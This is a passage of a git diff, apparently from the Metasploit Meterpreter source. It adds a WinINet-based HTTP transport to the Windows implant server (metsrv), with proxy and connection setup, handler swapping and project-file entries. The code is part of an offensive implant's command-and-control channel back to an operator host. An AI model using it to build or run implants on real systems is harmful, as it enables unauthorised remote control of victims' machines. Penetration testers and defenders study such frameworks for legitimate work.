||||
* @return Indication of success or failure.
|
||||
*/
|
||||
static BOOL server_init_wininet(Transport* transport)
|
||||
{
|
||||
URL_COMPONENTS bits;
|
||||
wchar_t tmpHostName[URL_SIZE];
|
||||
wchar_t tmpUrlPath[URL_SIZE];
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx;
|
||||
|
||||
dprintf("[WININET] Initialising ...");
|
||||
|
||||
// configure proxy
|
||||
if (ctx->proxy)
|
||||
{
|
||||
dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy);
|
||||
ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
|
||||
}
|
||||
|
||||
if (!ctx->internet)
|
||||
{
|
||||
dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet);
|
||||
|
||||
// The InternetCrackUrl method was poorly designed...
|
||||
ZeroMemory(tmpHostName, sizeof(tmpHostName));
|
||||
ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath));
|
||||
|
||||
ZeroMemory(&bits, sizeof(bits));
|
||||
bits.dwStructSize = sizeof(bits);
|
||||
|
||||
bits.dwHostNameLength = URL_SIZE - 1;
|
||||
bits.lpszHostName = tmpHostName;
|
||||
|
||||
bits.dwUrlPathLength = URL_SIZE - 1;
|
||||
bits.lpszUrlPath = tmpUrlPath;
|
||||
|
||||
dprintf("[DISPATCH] About to crack URL: %S", transport->url);
|
||||
InternetCrackUrlW(transport->url, 0, 0, &bits);
|
||||
|
||||
SAFE_FREE(ctx->uri);
|
||||
ctx->uri = _wcsdup(tmpUrlPath);
|
||||
transport->comms_last_packet = current_unix_timestamp();
|
||||
|
||||
dprintf("[DISPATCH] Configured URI: %S", ctx->uri);
|
||||
dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort);
|
||||
|
||||
// Allocate the connection handle
|
||||
ctx->connection = InternetConnectW(ctx->internet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
|
||||
if (!ctx->connection)
|
||||
{
|
||||
dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (ctx->proxy)
|
||||
{
|
||||
if (ctx->proxy_user)
|
||||
{
|
||||
InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)wcslen(ctx->proxy_user));
|
||||
}
|
||||
if (ctx->proxy_pass)
|
||||
{
|
||||
InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass));
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Take over control from the WinINET transport.
|
||||
* @param transport Pointer to the transport to hijack.
|
||||
*/
|
||||
void transport_move_to_wininet(Transport* transport)
|
||||
{
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx;
|
||||
|
||||
ctx->create_req = get_request_wininet;
|
||||
ctx->send_req = send_request_wininet;
|
||||
ctx->close_req = close_request_wininet;
|
||||
ctx->validate_response = validate_response_wininet;
|
||||
ctx->receive_response = NULL;
|
||||
ctx->read_response = read_response_wininet;
|
||||
|
||||
transport->transport_init = server_init_wininet;
|
||||
}
|
6
c/meterpreter/source/server/win/server_transport_wininet.h
Executable file
6
c/meterpreter/source/server/win/server_transport_wininet.h
Executable file
@ -0,0 +1,6 @@
|
||||
#ifndef _METERPRETER_SERVER_SETUP_WININET
|
||||
#define _METERPRETER_SERVER_SETUP_WININET
|
||||
|
||||
void transport_move_to_wininet(Transport* transport);
|
||||
|
||||
#endif
|
@ -699,6 +699,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<PrecompiledHeaderOutputFile Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">
|
||||
</PrecompiledHeaderOutputFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\server\win\server_transport_wininet.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\source\server\win\metsrv.def" />
|
||||
@ -709,6 +710,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ClInclude Include="..\..\source\server\remote_dispatch.h" />
|
||||
<ClInclude Include="..\..\source\server\win\server_transport_tcp.h" />
|
||||
<ClInclude Include="..\..\source\server\win\server_transport_winhttp.h" />
|
||||
<ClInclude Include="..\..\source\server\win\server_transport_wininet.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\backcompat\backcompat.vcxproj">
|
||||
|
@ -1,35 +1,41 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\source\server\win\libloader.c" />
|
||||
<ClCompile Include="..\..\source\server\metsrv.c" />
|
||||
<ClCompile Include="..\..\source\server\win\remote_dispatch.c" />
|
||||
<ClCompile Include="..\..\source\server\remote_dispatch_common.c" />
|
||||
<ClCompile Include="..\..\source\server\server_setup_win.c" />
|
||||
<ClCompile Include="..\..\source\server\win\server_transport_tcp.c">
|
||||
<Filter>transports</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\server\win\server_transport_winhttp.c">
|
||||
<Filter>transports</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\source\server\libloader.h" />
|
||||
<ClInclude Include="..\..\source\server\metsrv.h" />
|
||||
<ClInclude Include="..\..\source\server\remote_dispatch.h" />
|
||||
<ClInclude Include="..\..\source\server\win\server_transport_winhttp.h">
|
||||
<Filter>transports</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\..\source\server\win\server_transport_tcp.h">
|
||||
<Filter>transports</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\source\server\win\metsrv.def" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="transports">
|
||||
<UniqueIdentifier>{302976b1-9752-4587-ac91-61595d625665}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\source\server\win\libloader.c" />
|
||||
<ClCompile Include="..\..\source\server\metsrv.c" />
|
||||
<ClCompile Include="..\..\source\server\win\remote_dispatch.c" />
|
||||
<ClCompile Include="..\..\source\server\remote_dispatch_common.c" />
|
||||
<ClCompile Include="..\..\source\server\server_setup_win.c" />
|
||||
<ClCompile Include="..\..\source\server\win\server_transport_tcp.c">
|
||||
<Filter>transports</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\server\win\server_transport_winhttp.c">
|
||||
<Filter>transports</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\server\win\server_transport_wininet.c">
|
||||
<Filter>transports</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\source\server\libloader.h" />
|
||||
<ClInclude Include="..\..\source\server\metsrv.h" />
|
||||
<ClInclude Include="..\..\source\server\remote_dispatch.h" />
|
||||
<ClInclude Include="..\..\source\server\win\server_transport_winhttp.h">
|
||||
<Filter>transports</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\..\source\server\win\server_transport_tcp.h">
|
||||
<Filter>transports</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\..\source\server\win\server_transport_wininet.h">
|
||||
<Filter>transports</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\source\server\win\metsrv.def" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="transports">
|
||||
<UniqueIdentifier>{302976b1-9752-4587-ac91-61595d625665}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
</Project>
|
Loading…
Reference in New Issue
Block a user